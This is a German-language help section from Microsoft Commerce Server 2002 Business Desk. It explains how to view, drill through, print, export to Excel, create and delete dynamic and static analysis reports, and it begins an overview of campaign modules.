Anzeigen von dynamischen Berichten

Ein abgeschlossener dynamischer Bericht wird in einem Browserfenster als PivotTable oder PivotChart angezeigt. Bei dynamischen OLAP-Berichten können Sie die Detaildaten für eine Zelle mithilfe des Features Drillthroughbericht anzeigen.

Dieses Feature ist für die Berichte Produktverkäufe und Warenkorbereignisse aktiviert. Der Systemadministrator konfiguriert die Drillthroughfunktion für weitere Berichte und legt ferner die Grenzwerte für die maximal zulässige Anzahl von Datensätzen fest. Zum Anpassen der Datensatzanzahl kann der Systemadministrator die in der Datei DRILLTHROUGH.HTC angegebenen konstanten Werte ändern. Weitere Informationen finden Sie unter Aktivieren von dynamischen Drillthroughberichten in der Commerce Server 2002-Hilfe.

Hinweise

  • Für die Verwendung der Drillthroughfunktion muss Microsoft Office XP auf Ihrem lokalen Computer installiert sein.
  • Für die Ausführung der dynamischen Berichte im Analysemodul sind die Microsoft Office XP Web Components sowie die Unterstützungsdateien für Microsoft Data Access Components (MDAC) 2.7 und PivotTable-Dienste erforderlich. Bei der Installation von Microsoft Office XP, Microsoft Excel XP, Microsoft Access XP bzw. Microsoft FrontPage XP werden die Microsoft Office XP Web Components und alle erforderlichen Unterstützungsdateien automatisch installiert. Wenn Sie Microsoft Office XP oder eine der oben genannten Anwendungen bereits installiert haben, brauchen Sie die auf der Commerce Server 2002-CD gespeicherten Microsoft Office XP Web Components nicht zu installieren.

Wenn Sie Ihren dynamischen Bericht als PivotChart anzeigen möchten, können Sie über die in der PivotChart verfügbaren Symbolleisten-Schaltflächen aus einer Reihe von Diagrammen und Eigenschaften auswählen. So können Sie beispielsweise ein Balkendiagramm, ein Kreisdiagramm oder ein Blasendiagramm auswählen.

Hinweise

  • Wenn Sie die Daten oder das Layout in der PivotChart oder PivotTable bearbeiten, werden die Daten in beiden Ansichten geändert.
  • Distinct Count-Measures können nicht zusammengerechnet werden, wenn für den Bericht eine Filterdimension definiert wurde, in der mehrere ausgewählte Artikel enthalten sind. Das Pivot-Steuerelement kann die Anzahl der verschiedenen Entitäten, die aus der Vereinigung mehrerer durch den Filter definierter Datensätze entstehen, nicht berechnen. Wenn ein Bericht auf diese Weise gefiltert wird, werden Zellen mit verschiedenen Count-Measures als #VALUE! angezeigt. Eine Filterdimension muss so definiert sein, dass die Distinct Count-Measures entweder in einem einzelnen Element oder in allen Elementen angezeigt werden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Anzeigen eines dynamischen Berichts als PivotChart
  • Anzeigen eines dynamischen Berichts als PivotTable
  • Verwenden der Drillthroughfunktion


Anzeigen eines dynamischen Berichts als PivotChart

Führen Sie einen dynamischen Bericht im Berichtsmodul aus, und zeigen Sie ihn als eine PivotChart an.

So führen Sie einen dynamischen Bericht aus und zeigen ihn als eine PivotChart an

  1. Bitten Sie den Systemadministrator, Daten in das Data Warehouse zu importieren und die für Berichte verfügbaren Daten durch Ausführen des DTS-Berichtsvorbereitungstasks zur Verfügung zu stellen.
  2. Klicken Sie im Bildschirm Analyse auf Berichte, und markieren Sie dann die dynamische Berichtsdefinition, die Sie ausführen möchten.
  3. Um den dynamischen Bericht auszuführen, klicken Sie im Bildschirm Berichte auf der Symbolleiste auf Ausführen.

    Der abgeschlossene dynamische Bericht wird in einem neuen Browserfenster als PivotTable oder als PivotChart angezeigt.

    Hinweis

    • Wenn auf dem Client-Computer, auf dem Sie Business Desk ausführen, keine Version von Microsoft Office 2002 XP, Microsoft Access 2000 oder Microsoft FrontPage 2002 installiert ist, können Sie weder dynamische Berichte in Microsoft Excel exportieren noch die Berichtsdefinition bearbeiten oder neue dynamische Berichtsdefinitionen erstellen. Allerdings können Sie die Standardansicht der Daten im Bericht sehen und die vorhandene Dimensionen erweitern und ausblenden.
  4. Klicken Sie im Browserfenster Abgeschlossener Bericht auf der Symbolleiste auf Diagramm einblenden , um die PivotChart anzuzeigen. Zum Ausblenden der PivotChart klicken Sie einfach erneut auf die Schaltfläche.
  5. Wenn Sie den Bericht fertig angesehen bzw. gedruckt haben, schließen Sie das Browserfenster.

Siehe auch

Anzeigen eines dynamischen Berichts als PivotTable

Verwenden der Drillthroughfunktion

Anzeigen von statischen Berichten

Anzeigen von Berichtseigenschaften

Aktivieren von dynamischen Drillthroughberichten


Anzeigen eines dynamischen Berichts als PivotTable

Führen Sie einen dynamischen Bericht im Berichtsmodul aus, und zeigen Sie ihn als PivotTable an.

So führen Sie einen dynamischen Bericht aus und zeigen ihn als PivotTable an

  1. Bitten Sie den Systemadministrator, Daten in das Data Warehouse zu importieren und die für Berichte verfügbaren Daten durch Ausführen des DTS-Berichtsvorbereitungstasks zur Verfügung zu stellen.
  2. Klicken Sie im Bildschirm Analyse auf Berichte, und markieren Sie dann die dynamische Berichtsdefinition, die Sie ausführen möchten.
  3. Um den dynamischen Bericht auszuführen, klicken Sie im Bildschirm Berichte auf der Symbolleiste auf Ausführen.

    Der abgeschlossene dynamische Bericht wird in einem neuen Browserfenster als PivotTable oder PivotChart angezeigt.

  4. Führen Sie im Browserfenster Abgeschlossener Bericht folgende Schritte aus:
    Funktion | Aktion
    Pivot einblenden | Klicken Sie hierauf, um die PivotTable anzuzeigen. Klicken Sie noch einmal hierauf, um die PivotTable auszublenden.
    Beschreibung einblenden | Klicken Sie hierauf, um die Beschreibung des Berichts anzuzeigen.
  5. Wenn Sie den Bericht fertig angesehen bzw. gedruckt haben, schließen Sie das Browserfenster.

Nachdem Sie den Bericht nun am Bildschirm sehen, können Sie mit der Drillthroughfunktion arbeiten.

Hinweis

  • Die Drillthroughfunktion ist nur für den Bericht "Produktverkäufe" verfügbar.

Siehe auch

Anzeigen eines dynamischen Berichts als PivotChart

Verwenden der Drillthroughfunktion

Anzeigen von statischen Berichten

Anzeigen von Berichtseigenschaften

Aktivieren von dynamischen Drillthroughberichten


Verwenden der Drillthroughfunktion

Führen Sie einen dynamischen Bericht im Berichtsmodul aus, zeigen Sie ihn als PivotTable an, und analysieren Sie die Daten mit der Drillthroughfunktion genauer.

So führen Sie einen dynamischen Bericht unter Verwendung der Drillthroughfunktion aus

  1. Bitten Sie den Systemadministrator, Daten in das Data Warehouse zu importieren und die für Berichte verfügbaren Daten durch Ausführen des DTS-Berichtsvorbereitungstasks zur Verfügung zu stellen.
  2. Klicken Sie im Menü Analyse auf Berichte, und wählen Sie dann den Bericht "Produktverkäufe".
  3. Um den dynamischen Bericht auszuführen, klicken Sie im Bildschirm Berichte auf der Symbolleiste auf Ausführen.

    Der abgeschlossene Bericht "Produktverkäufe" wird in einem neuen Browserfenster als PivotTable oder PivotChart angezeigt.

  4. Klicken Sie im Browserfenster Produktverkäufe auf Abbrechen, um die ggf. geöffnete PivotTable-Feldliste zu schließen.
  5. Doppelklicken Sie in der PivotTable auf eine beliebige Zelle, oder klicken Sie auf der Symbolleiste der PivotTable auf Details ein-/ausblenden.

    Daraufhin werden die Cube-Details für die Dimension angezeigt.

  6. Wenn Sie den Bericht fertig angesehen bzw. gedruckt haben, schließen Sie das Browserfenster.

Siehe auch

Anzeigen eines dynamischen Berichts als PivotChart

Anzeigen eines dynamischen Berichts als PivotTable

Anzeigen von statischen Berichten

Anzeigen von Berichtseigenschaften

Aktivieren von dynamischen Drillthroughberichten


Anzeigen von statischen Berichten

Nach Ausführung eines statischen Berichts können Sie den abgeschlossenen statischen Bericht in der Berichtsliste des Moduls "Abgeschlossene Berichte" anzeigen. In dieser Liste können Sie den Status des Berichts überprüfen, nach abgeschlossenen Berichten suchen und die Liste "Abgeschlossene Berichte" sortieren. Ferner können Sie Berichte öffnen und schließen.

Hinweis

  • Bei mehreren Websites und Business Desk-Anwendungen können Sie statische Berichte auf Grundlage der Daten mehrerer Sites erstellen. Sie können jedoch nur die statischen Berichte aus der Business Desk-Anwendung anzeigen, die Sie zum Erstellen der Berichte verwendet haben.

Dieser Abschnitt beinhaltet folgende Themen:

  • Überprüfen des Status eines statischen Berichts
  • Suchen von abgeschlossenen statischen Berichten
  • Sortieren der Liste "Abgeschlossene Berichte"
  • Öffnen eines statischen Berichts
  • Öffnen mehrerer statischer Berichte
  • Schließen eines statischen Berichts


Überprüfen des Status eines statischen Berichts

Mithilfe des Moduls "Abgeschlossene Berichte" kann der Status statischer Berichte angezeigt werden.

So zeigen Sie den Status eines statischen Berichts an

  • Klicken Sie im Menü Analyse auf Abgeschlossene Berichte.

    Der Status des Berichts wird in der Statusspalte der Berichtsliste angezeigt. Der Status hat einen der folgenden Werte:

    • Abgeschlossen. Der Bericht ist abgeschlossen. Sie können den Bericht jetzt öffnen, um ihn anzuzeigen.
    • Ausstehend. Der Bericht wird noch ausgeführt.
    • Fehler. Der Bericht wurde nicht erfolgreich abgeschlossen. Wenn ein Bericht fehlschlägt, bitten Sie den Systemadministrator, im Anwendungsprotokoll der Ereignisanzeige nach eventuellen Fehlermeldungen zu suchen.

Hinweis

  • Die Statusspalte im Modul "Abgeschlossene Berichte" wird nach der Status-ID in der Reihenfolge Abgeschlossen, Ausstehend und Fehler sortiert.

Siehe auch

Suchen von abgeschlossenen statischen Berichten

Sortieren der Liste "Abgeschlossene Berichte"

Öffnen eines statischen Berichts

Öffnen mehrerer statischer Berichte

Schließen eines statischen Berichts

Drucken von Berichten

Exportieren eines dynamischen Berichts


Suchen von abgeschlossenen statischen Berichten

Abgeschlossene Statusberichte können im Modul "Abgeschlossene Berichte" gesucht werden.

So suchen Sie einen abgeschlossenen Statusbericht

  1. Klicken Sie im Menü Analyse auf Abgeschlossene Berichte und dann auf der Symbolleiste auf Suchen.
  2. Wählen Sie in der Dropdownliste Suchen nach zwischen den folgenden Einträgen aus:
    Funktion | Aktion
    Name | Suchen nach einem Bericht dieses Namens.
    Ausgeführt von | Suchen nach einem Bericht über den Namen der Person, die den Bericht ausgeführt hat.
    Ausgeführt am | Suchen nach einem Bericht über einen Datumsbereich, innerhalb dessen der Bericht ausgeführt wurde.
    Status | Suchen nach einem Bericht über den Berichtsstatus (Abgeschlossen, Ausstehend oder Fehler).
    Jede Information | Suchen nach einem Bericht mithilfe einer beliebigen Kombination von Suchkriterien (Name, Kategorie, Erstellt von und Typ).
    Alle Berichte | Suchen nach allen verfügbaren Berichten.
  3. Geben Sie im anschließend angezeigten Eigenschaftswertfeld den entsprechenden Wert der ausgewählten Kriterien (Name, Ausgeführt am, Ausgeführt von und Status) ein, oder treffen Sie in der Liste eine Auswahl. Klicken Sie danach auf Suchen.

Die Ergebnisliste enthält alle statischen Berichte, die mit den Suchkriterien übereinstimmen.

Siehe auch

Überprüfen des Status eines statischen Berichts

Sortieren der Liste "Abgeschlossene Berichte"

Öffnen eines statischen Berichts

Öffnen mehrerer statischer Berichte

Schließen eines statischen Berichts

Drucken von Berichten

Exportieren eines dynamischen Berichts


Sortieren der Liste "Abgeschlossene Berichte"

Mithilfe des Moduls "Abgeschlossene Berichte" können Sie die Liste der abgeschlossenen statischen Berichte sortieren.

So sortieren Sie die Liste der abgeschlossenen Berichte

  1. Klicken Sie im Menü Analyse auf Abgeschlossene Berichte und dann auf der Symbolleiste auf Bericht suchen.
  2. Wählen Sie in der Dropdownliste Suchen nach: unter den folgenden Einträgen aus:
    Funktion | Aktion
    Name | Sortieren nach dem Berichtsnamen.
    Ausgeführt am | Sortieren der Berichte nach dem Ausführungsdatum. Standardmäßig werden die Berichte in absteigender Reihenfolge nach ihrem Ausführungsdatum sortiert.
    Dauer der Ausführung | Sortieren der Berichte nach der Ausführungszeit.
    Ausgeführt von | Sortieren der Berichte nach dem Namen der Person, die den Bericht ausgeführt hat.
    Status | Sortieren nach Berichtsstatus (Abgeschlossen, Ausstehend oder Fehler).

Hinweise

  • Die Statusspalte im Modul "Abgeschlossene Berichte" wird nach den Werten Abgeschlossen, Ausstehend und Fehler sortiert.
  • Die Spalte Dauer der Ausführung im Modul "Abgeschlossene Berichte" sortiert die Berichte nach der Uhrzeit, zu der ein Bericht ausgeführt worden ist. Diese Spalte kann nur in Verbindung mit der Spalte Ausgeführt am zur Sortierung verwendet werden.

Siehe auch

Überprüfen des Status eines statischen Berichts

Suchen von abgeschlossenen statischen Berichten

Öffnen eines statischen Berichts

Öffnen mehrerer statischer Berichte

Schließen eines statischen Berichts

Drucken von Berichten

Exportieren eines dynamischen Berichts


Öffnen eines statischen Berichts

Statische Berichte können im Modul "Abgeschlossene Berichte" geöffnet werden.

So öffnen Sie einen statischen Bericht

  1. Klicken Sie im Menü Analyse auf Abgeschlossene Berichte.
  2. Markieren Sie in der Berichtsliste den Bericht, den Sie öffnen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.

    Hinweis

    • Sie können nur Berichte öffnen, die den Status Abgeschlossen haben.

Der statische Bericht wird in einem neuen Fenster als HTML-Dokument angezeigt.

Siehe auch

Überprüfen des Status eines statischen Berichts

Suchen von abgeschlossenen statischen Berichten

Sortieren der Liste "Abgeschlossene Berichte"

Öffnen mehrerer statischer Berichte

Schließen eines statischen Berichts

Drucken von Berichten

Exportieren eines dynamischen Berichts


Öffnen mehrerer statischer Berichte

Sie können im Modul "Abgeschlossene Berichte" mehrere statische Berichte öffnen.

So öffnen Sie mehrere statische Berichte

  1. Klicken Sie im Menü Analyse auf Abgeschlossene Berichte.
  2. Markieren Sie in der Liste der abgeschlossenen Berichte die zu öffnenden Berichte, und klicken Sie dann auf der Symbolleiste auf Öffnen.

Die statischen Berichte werden in einem neuen Fenster als HTML-Dokumente angezeigt.

Hinweise

  • Wenn Sie auf die Schaltfläche Alle auswählen klicken, um Berichte in der Liste zu markieren, können Sie diese nicht öffnen. Sie müssen jeden Bericht einzeln markieren, um alle Berichte in der Liste öffnen zu können.
  • Das Öffnen mehrerer statischer Berichte kann dazu führen, dass die Speichergrenzen des Webbrowsers überschritten werden und das Modul "Abgeschlossene Berichte" nicht mehr reagiert.

Siehe auch

Überprüfen des Status eines statischen Berichts

Suchen von abgeschlossenen statischen Berichten

Sortieren der Liste "Abgeschlossene Berichte"

Öffnen eines statischen Berichts

Schließen eines statischen Berichts

Drucken von Berichten

Exportieren eines dynamischen Berichts


Schließen eines statischen Berichts

Zum Schließen eines statischen Berichts schließen Sie das Browserfenster.

So schließen Sie einen statischen Bericht

  • Schließen Sie das Browserfenster, in dem der Bericht angezeigt wird.

Siehe auch

Überprüfen des Status eines statischen Berichts

Suchen von abgeschlossenen statischen Berichten

Sortieren der Liste "Abgeschlossene Berichte"

Öffnen eines statischen Berichts

Öffnen mehrerer statischer Berichte

Drucken von Berichten

Exportieren eines dynamischen Berichts


Drucken von Berichten

Die Berichte von Commerce Server 2002 sind für die Anzeige in einem Browserfenster ausgelegt. Sie können dynamische und statische Berichte über den Browser drucken. Wenn Sie große Berichte drucken und anzeigen, werden Sie auf Größenbegrenzungen stoßen.

Wenn Sie die PivotTable eines dynamischen Berichts drucken, dann druckt der Browser nur die Teile der PivotTable, die im Browserfenster sichtbar sind, ohne einen Bildlauf durchzuführen. Wenn Sie die Knoten der PivotTable erweitern, und die sich daraus ergebende Tabelle die Speichergrenzen des Browsers überschreitet, wird die PivotTable nicht gedruckt.

Um eine große PivotTable vollständig zu drucken, exportieren Sie die Tabelle nach Microsoft Excel. Informationen über den Export einer PivotTable nach Microsoft Excel finden Sie unter Exportieren eines dynamischen Berichts. Informationen über das Drucken mit Microsoft Excel finden Sie in der Microsoft Excel-Hilfe.

Nach Ausführung eines statischen Berichts ist dessen Anzeige im Browserfenster auf 1.000 Zeilen begrenzt.

So drucken Sie einen Bericht

  1. Bitten Sie den Systemadministrator, Daten in das Data Warehouse zu importieren und die für Berichte verfügbaren Daten durch Ausführen des DTS-Berichtsvorbereitungstasks zur Verfügung zu stellen.
  2. Führen Sie einen statischen oder dynamischen Bericht aus.
  3. Klicken Sie im Menü Datei des Browserfensters auf Drucken.
  4. Klicken Sie im Dialogfeld Drucken auf Drucken.

Der Bericht wird auf dem angegebenen Drucker ausgegeben.

Siehe auch

Anzeigen von dynamischen Berichten

Anzeigen von Berichtseigenschaften

Exportieren eines dynamischen Berichts


Exportieren eines dynamischen Berichts

Sie können mithilfe der PivotTable-Steuerelemente einen abgeschlossenen dynamischen Bericht in Microsoft Excel exportieren. Dieser lässt sich dann in Microsoft Excel speichern, ändern und drucken. Wenn Sie einen abgeschlossenen dynamischen Bericht in Microsoft Excel exportieren möchten, muss Microsoft Excel auf demselben Computer installiert sein, auf dem dieser Bericht gespeichert ist.

Hinweis

  • In Commerce Server 2002 Enterprise Edition können Sie einen statischen Bericht als Liste in das Listen-Manager-Modul exportieren.

So exportieren Sie einen dynamischen Bericht nach Microsoft Excel

  1. Bitten Sie den Systemadministrator, Daten in das Data Warehouse zu importieren und die für Berichte verfügbaren Daten durch Ausführen des DTS-Berichtsvorbereitungstasks zur Verfügung zu stellen.
  2. Klicken Sie im Menü Analyse auf Berichte. Markieren Sie in der Liste der verfügbaren Berichte die dynamische Berichtsdefinition, die Sie ausführen möchten, und klicken Sie dann auf der Symbolleiste auf Ausführen.

    Der abgeschlossene dynamische Bericht wird in einem neuen Browserfenster als PivotTable angezeigt.

    Hinweis

    • Wenn die PivotTable nicht sichtbar ist, klicken Sie auf der Symbolleiste auf Pivot ein-/ausblenden.
  3. Um den Bericht in Microsoft Excel zu öffnen, klicken Sie im Bildschirm PivotTable auf der Symbolleiste PivotTable auf Exportieren nach Excel.

Der Bericht wird als Microsoft Excel-Kalkulationstabelle angezeigt.

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Ausführen von Berichten


Erstellen einer neuen dynamischen Berichtsdefinition

Mit dem Berichtsmodul können Sie neue dynamische Berichtsdefinitionen erstellen, die PivotTable eines Berichts ändern und anschließend den geänderten Bericht als neue Berichtsdefinition speichern. Dieser neu gespeicherte Bericht steht dann in der Berichtsliste zur Verfügung.

Hinweis

  • Für die Ausführung der dynamischen Berichte im Analysemodul sind die Microsoft Office XP Web Components sowie die Unterstützungsdateien für Microsoft Data Access Components (MDAC) 2.7 und PivotTable-Dienste erforderlich. Bei der Installation von Microsoft Office XP, Microsoft Excel XP, Microsoft Access XP bzw. Microsoft FrontPage XP werden die Microsoft Office XP Web Components und alle erforderlichen Unterstützungsdateien automatisch installiert. Wenn Sie Microsoft Office XP oder eine der oben genannten Anwendungen bereits installiert haben, brauchen Sie die auf der Commerce Server 2002-CD gespeicherten Microsoft Office XP Web Components nicht zu installieren.

So erstellen Sie eine neue dynamische Berichtsdefinition

So fügen Sie Felder zu einer PivotTable hinzu

So zeigen Sie einen neuen Bericht in der Berichtsliste an

So aktualisieren Sie die Berichtsliste

So erstellen Sie eine neue dynamische Berichtsdefinition

  1. Bitten Sie den Systemadministrator, Daten in das Data Warehouse zu importieren und die für Berichte verfügbaren Daten durch Ausführen des DTS-Berichtsvorbereitungstasks zur Verfügung zu stellen.
  2. Klicken Sie im Menü Analyse auf Berichte.
  3. Klicken Sie auf der Symbolleiste Berichte auf Neu, um einen neuen Bericht zu erstellen.
  4. Führen Sie im Dialogfeld Neuen Bericht erstellen – Webseite folgende Schritte aus:
    Funktion | Aktion
    Berichtstyp | Wählen Sie abhängig vom Berichtstyp, der erstellt werden soll, entweder OLAP oder SQL.
    Cubename | Diese Option gilt nur für OLAP-Berichte. Wählen Sie in der Dropdownliste einen Cubenamen aus. In der Liste werden nur verarbeitete Cubes angezeigt, für die Berichte erstellt werden können.
    MDX-Abfrage | Diese Option gilt nur für OLAP-Berichte. Wenn dieser Bericht auf einer Abfrage basieren soll, geben Sie einen Abfragetext ein, und klicken Sie dann auf OK. (Dieses Feld ist optional.)
    SQL-Abfrage | Diese Option gilt nur für SQL-Berichte. Geben Sie eine SQL-Abfrage für die Felder ein, die zurückgegeben werden sollen, und klicken Sie dann auf OK.

    Hinweis

    • Wird die Feldliste beim Öffnen der Tabelle nicht automatisch angezeigt, klicken Sie auf der Symbolleiste PivotTable auf PivotTable-Feldliste.
  5. Ziehen Sie Felder aus der PivotTable-Feldliste in die PivotTable.

    Die Elemente in der Feldliste einer PivotTable unter Gesamtsummen sind Measures; die Elemente auf derselben Ebene wie Gesamtsummen sind Dimensionen. Measures können zum Datenbereich (d. h. zu den mittleren Zellen) der PivotTable hinzugefügt werden. Dimensionen lassen sich als Zeilen, Spalten oder Filter verwenden.

    Anstatt die Felder von der PivotTable-Feldliste per Drag & Drop zu verschieben, können Sie auch die Schaltfläche Hinzufügen zu ... am unteren Rand der PivotTable-Feldliste verwenden. Zum Aufrufen von Informationen über die Verwendung der PivotTable-Feldliste klicken Sie auf der Symbolleiste PivotTable auf die Schaltfläche Hilfe.

  6. Klicken Sie im Fenster Abgeschlossene Berichte auf der Symbolleiste auf Speichern.
  7. Führen Sie im diesem Dialogfeld folgende Schritte aus:
    Funktion | Aktion
    Bericht speichern | Die Auswahl wird standardmäßig auf Speichern unter gesetzt, wenn es sich bei dem Bericht um einen Standardbericht handelt. Wenn es kein Standardbericht ist, wird Speichern angezeigt.
    Berichtsname | Geben Sie den Namen des neuen Berichts ein.
    Berichtskategorie | Geben Sie die Berichtskategorie ein.
    Berichtsbeschreibung | Eingeben einer Beschreibung für den neuen Bericht.
    Lange Berichtsbeschreibung | Eingeben einer längeren Beschreibung des Berichts. Diese Beschreibung wird im Browserfenster oberhalb der PivotTable-Steuerelemente eingeblendet, wenn Sie dort auf die Schaltfläche Beschreibung einblenden klicken.
  8. Klicken Sie auf OK.

    Wichtig

    • Wenn Sie einen neuen Bericht speichern, speichern Sie die Berichtsdefinition und nicht die Daten. Bei der nächsten Ausführung des Berichts enthält dieser dieselben Zeilen, Spalten und Filter, und die aktuellen Daten werden über Microsoft SQL Server 2000 Analysis Services (OLAP) gemäß den Angaben in der Berichtsdefinition abgefragt.
  9. Schließen Sie das Berichtsfenster, um zum Bildschirm Berichte zurückzukehren.

Zum Aufrufen weiterer Informationen über die Verwendung der PivotTables klicken Sie auf der Symbolleiste PivotTable auf die Schaltfläche Hilfe.

So fügen Sie Felder zu einer PivotTable hinzu

  1. Bitten Sie den Systemadministrator, Daten in das Data Warehouse zu importieren und die für Berichte verfügbaren Daten durch Ausführen des DTS-Berichtsvorbereitungstasks zur Verfügung zu stellen.
  2. Klicken Sie im Bildschirm Analyse auf Berichte, und markieren Sie dann die dynamische Berichtsdefinition, die für den neuen Bericht als Grundlage verwendet werden soll.
  3. Um den dynamischen Bericht auszuführen, klicken Sie im Bildschirm Berichte auf der Symbolleiste auf Ausführen.

    Der abgeschlossene dynamische Bericht wird in einem neuen Browserfenster als PivotTable angezeigt. Über der PivotTable wird die PivotTable-Feldliste angezeigt.

    Hinweis

    • Wird die Feldliste beim Öffnen der Tabelle nicht automatisch angezeigt, klicken Sie auf der Symbolleiste PivotTable auf die PivotTable-Feldliste.
  4. Ziehen Sie Felder von der PivotTable-Feldliste in die PivotTable.

    Die Elemente in der Feldliste einer PivotTable unter Gesamtsummen sind Measures; die Elemente auf derselben Ebene wie Gesamtsummen sind Dimensionen. Measures können zum Datenbereich (d. h. zu den mittleren Zellen) der PivotTable hinzugefügt werden. Dimensionen lassen sich als Zeilen, Spalten oder Filter verwenden.

    Anstatt die Felder von der PivotTable-Feldliste per Drag & Drop zu verschieben, können Sie auch die Schaltfläche Hinzufügen zu ... am unteren Rand der PivotTable-Feldliste verwenden. Zum Aufrufen von Informationen über die Verwendung der PivotTable-Feldliste klicken Sie auf der Symbolleiste PivotTable auf die Schaltfläche Hilfe.

  5. Klicken Sie im Fenster des abgeschlossenen Berichts oberhalb der PivotTable auf Speichern. Das Dialogfeld Bericht speichern — Webseite wird angezeigt.
  6. Führen Sie im diesem Dialogfeld folgende Schritte aus:
    Funktion | Aktion
    Berichtsname | Eingeben des Namens für den neuen Bericht.
    Berichtskategorie | Eingeben der Kategorie für den neuen Bericht.
    Berichtsbeschreibung | Eingeben einer Beschreibung für den neuen Bericht.
    Lange Berichtsbeschreibung | Eingeben einer längeren Beschreibung des Berichts. Diese Beschreibung wird im Browserfenster oberhalb der PivotTable-Steuerelemente eingeblendet, wenn Sie dort auf die Schaltfläche Beschreibung einblenden klicken.
  7. Klicken Sie auf OK. Der neue Bericht wird gespeichert.
  8. Schließen Sie das Berichtsfenster, um zum Bildschirm Berichte zurückzukehren.

Weitere Informationen über das Arbeiten mit PivotTables erhalten Sie in der PivotTable-Hilfe. Diese Hilfe rufen Sie auf, indem Sie auf der PivotTable-Symbolleiste auf die Schaltfläche Hilfe klicken.

Wichtig

  • Wenn Sie einen neuen Bericht speichern, speichern Sie die Berichtsdefinition und nicht die Daten. Bei der nächsten Ausführung des Berichts enthält dieser dieselben Zeilen, Spalten und Filter, und die aktuellen Daten werden über Microsoft SQL Server 2000 Analysis Services (OLAP) gemäß den Angaben in der Berichtsdefinition abgefragt.

So zeigen Sie einen neuen Bericht in der Berichtsliste an

  1. Klicken Sie im Menü Analyse auf Berichte.
  2. Klicken Sie im Bildschirm Berichte auf der Symbolleiste auf Suchen. Wählen Sie die gewünschten Suchkriterien für den Bericht aus, und klicken Sie dann auf Suchen.

Der neue Bericht wird daraufhin in der Berichtsliste angezeigt.

So aktualisieren Sie die Berichtsliste

  1. Klicken Sie im Menü Analyse auf Berichte.
  2. Klicken Sie auf dem Bildschirm Berichte auf der Symbolleiste auf Suchen.
  3. Wählen Sie im Feld Suchen nach den Eintrag Alle Berichte aus, und klicken Sie dann auf Suchen.

Eine neue Berichtsliste wird angezeigt, die alle Berichte enthält.

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte


Löschen von Berichten

Benutzerdefinierte Berichtsdefinitionen können im Berichtsmodul gelöscht werden. Abgeschlossene statische Berichte können im Modul "Abgeschlossene Berichte" gelöscht werden. Die in Commerce Server 2002 enthaltenen Definitionen dynamischer oder statischer Berichte können jedoch nicht gelöscht werden, da es sich um Systemberichte handelt. Diese haben im Berichtsmodul in der Berichtslistenspalte Erstellt von den Wert "System".

Löschen von benutzerdefinierten Berichtsdefinitionen

Löschen von abgeschlossenen statischen Berichten

Löschen von benutzerdefinierten Berichtsdefinitionen

Benutzerdefinierte Berichtsdefinitionen lassen sich im Berichtsmodul löschen. Systemberichte können nicht gelöscht werden. Diese Berichte haben in der Spalte Erstellt von den Wert "System".

So löschen Sie einen benutzerdefinierten Bericht

  1. Klicken Sie im Menü Analyse auf Berichte, und markieren Sie dann den benutzerdefinierten Bericht, den Sie löschen möchten.
  2. Klicken Sie auf der Symbolleiste auf Löschen.
  3. Klicken Sie im Dialogfeld Berichte löschen? zur Bestätigung auf Ja.

Der markierte benutzerdefinierte Bericht wird aus der Berichtsliste gelöscht.

Vorsicht

  • Da beim Löschen eines benutzerdefinierten Berichts im Berichtsmodul auch die Berichtsdefinition gelöscht wird, kann der Bericht danach nicht mehr ausgeführt werden.

Löschen von abgeschlossenen statischen Berichten

Abgeschlossene statische Berichte können im Modul "Abgeschlossene Berichte" gelöscht werden. Wenn im Modul "Abgeschlossene Berichte" ein statischer Bericht gelöscht wird, wird nur dieser abgeschlossene Bericht gelöscht. Die Berichtsdefinition verbleibt im Berichtsmodul.

Hinweise

  • Sie können einen fehlgeschlagenen Bericht auf dieselbe Weise löschen wie einen abgeschlossenen Bericht.
  • Wenn Sie eine Bericht aus der Berichtsliste löschen, der noch in Ausführung ist (Ausstehend), wird dadurch der Bericht nicht beendet. Der Bericht wird weiterhin ausgeführt.

So löschen Sie einen abgeschlossenen statischen Bericht

  1. Klicken Sie im Menü Analyse auf Abgeschlossene Berichte.
  2. Markieren Sie in der Berichtsliste den zu löschenden Bericht, und klicken Sie dann auf der Symbolleiste auf Löschen.

Der markierte statische Bericht wird aus der Berichtsliste gelöscht.

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte


Anzeigen von Berichtseigenschaften

Mithilfe des Berichtsmoduls können die Eigenschaften dynamischer und statischer Berichte angezeigt werden.

Es ist nicht möglich, die Berichtseigenschaften zu ändern. Wenn Sie keine Berichtsdefinition mit einer Abfrage finden können, die die gesuchten Daten liefert, können Sie eine dynamische Berichtsdefinition ändern und als neue dynamische Berichtsdefinition speichern. Ihr Systemadministrator kann auch entsprechend Ihren Anforderungen eine neue dynamische oder statische Berichtsdefinition erstellen.

Weitere Informationen über das Ändern der Definition eines dynamischen Berichts zur Erstellung einer neuen Definition finden Sie unter Erstellen einer neuen dynamischen Berichtsdefinition.

So zeigen Sie die Eigenschaften eines Berichts an

  1. Klicken Sie im Menü Analyse auf Berichte.
  2. Markieren Sie in der Berichtsliste den Bericht, der die gewünschten Eigenschaften für die Anzeige enthält, und klicken Sie dann auf der Symbolleiste auf Öffnen.

Eine Liste der Berichtseigenschaften wird angezeigt.

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Suchen von Berichten


Business Desk-Kampagnen

Mithilfe der Kampagnenmodule können Sie Marketingkampagnen erstellen und verwalten. Kampagnenmodule stellen eine leicht handhabbare Schnittstelle bereit, welche Sie beim Erstellen und Verwalten von Kampagnenzeitplänen unterstützt. Mithilfe von Business Desk-Kampagnen können Sie das Kaufverhalten der Benutzer durch gezieltes Merchandising personalisieren. Dabei legen Sie die den Benutzern präsentierten Inhalte und den entsprechenden Zeitpunkt fest. Sie können Anzeigen-, Direktsendungs- und Preisnachlasskampagnen erstellen und anschließend den Zeitpunkt festlegen, zu dem die Inhalte einer bestimmten Benutzergruppe übermittelt werden sollen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Workflow für die Kampagnenverwaltung. Zeigt den Workflow für die Erstellung von Kampagnen, die Festlegung von Zielgruppen für Kampagnen und die Verwaltung von Kampagnen.
  • Informationen zu Kampagnen. Beschreibt Anzeigen, Preisnachlässe, Direktsendungen und die Verwendung der Kampagnenzielfestlegung. Erläutert das Erstellen von Zielausdrücken.
